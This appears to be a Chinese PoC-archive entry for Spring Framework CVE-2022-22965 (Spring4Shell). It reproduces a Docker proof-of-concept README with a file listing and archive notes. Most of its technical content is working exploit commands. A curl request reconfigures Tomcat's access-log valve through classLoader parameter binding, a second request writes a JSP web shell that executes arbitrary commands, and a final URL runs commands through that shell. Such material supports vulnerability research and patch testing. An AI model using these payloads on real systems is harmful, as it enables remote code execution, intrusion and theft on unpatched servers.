关联漏洞
标题：
Spring Framework 代码注入漏洞
(CVE-2022-22965)
描述：Spring Framework是美国Spring团队的一套开源的Java、JavaEE应用程序框架。该框架可帮助开发人员构建高质量的应用。 Spring Framework 存在代码注入漏洞，该漏洞源于 JDK 9+ 上的数据绑定的 RCE。以下产品和版本受到影响：5.3.0 至 5.3.17、5.2.0 至 5.2.19、较旧的和不受支持的版本也会受到影响。
描述
CVE-2022-22965 proof of concept
介绍
# Spring Boot CVE-2022-22965
Docker PoC for CVE-2022-22965 with Spring Boot version 2.6.5
# Getting Started
1. Run `docker compose up --build` to build and start the vulnerable application.
2. Run `curl -H "Accept: text/html;" "http://localhost:8080/demo/sample?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%63%6f%64%65%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="` to changes Tomcat config valve.
3. Run `curl -H "Accept: text/html;" -H "code: <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(String.valueOf(1337))).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } %>" "http://localhost:8080/demo/x"` to create the web shell.
4. Open your browser and go to http://localhost:8080/shell.jsp?1337=id to start executing commands.
文件快照
[4.0K] /data/pocs/6bb06401a031928fe567b792a43afa4653bcf3c9
├── [ 130] docker-compose.yml
├── [ 348] Dockerfile
├── [1.4K] pom.xml
├── [1.1K] README.md
├── [4.0K] src
│ ├── [4.0K] main
│ │ ├── [4.0K] java
│ │ │ └── [4.0K] com
│ │ │ └── [4.0K] example
│ │ │ └── [4.0K] demo
│ │ │ ├── [ 174] CommonBean.java
│ │ │ ├── [ 427] DemoApplication.java
│ │ │ ├── [ 529] EvalBeanController.java
│ │ │ └── [ 752] EvalBean.java
│ │ └── [4.0K] resources
│ │ └── [ 0] application.properties
│ └── [4.0K] test
│ └── [4.0K] java
│ └── [4.0K] com
│ └── [4.0K] example
│ └── [4.0K] demo
│ └── [ 206] DemoApplicationTests.java
└── [4.0K] target
├── [4.0K] classes
│ ├── [ 0] application.properties
│ └── [4.0K] com
│ └── [4.0K] example
│ └── [4.0K] demo
│ ├── [ 528] CommonBean.class
│ ├── [ 760] DemoApplication.class
│ ├── [1.2K] EvalBean.class
│ └── [1000] EvalBeanController.class
└── [4.0K] test-classes
└── [4.0K] com
└── [4.0K] example
└── [4.0K] demo
└── [ 531] DemoApplicationTests.class
21 directories, 16 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。